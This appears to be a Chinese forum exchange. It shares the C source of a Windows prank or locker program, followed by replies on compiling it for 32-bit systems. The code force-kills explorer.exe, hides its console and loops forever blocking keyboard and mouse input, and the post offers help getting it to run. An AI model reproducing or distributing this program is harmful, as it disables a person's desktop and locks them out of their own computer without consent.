源码如下
#include <stdio.h>
#include <windows.h>
#include <mmsystem.h>
#include <Winable.h>
#pragma comment(lib, "winmm.lib")
int main()
{
PlaySound (TEXT("Light.wav"), NULL, SND_ASYNC | SND_NODEFAULT);
system("taskkill /f /im explorer.exe");
system("@echo xx");
Sleep(2000);
FreeConsole();
while(1){
BlockInput(true);
while(1)
{
BlockInput(true); //阻塞输入 锁定键盘鼠标 但是ctrl+alt+delete 可以使用
printf("0 1 0 1 ") ;
}
}
return 0;
}
在工具菜单,选择编译选项,选择32位的编译环境就OK了,XP是32位的操作系统,WIN7是64位的操作系统,
你想要在32位的操作系统运行64位的程序,计算机都不愿意,
你编译之后的文件是64位的吧
先看你编译的程序在本机能否运行,是否为64bit版本程序。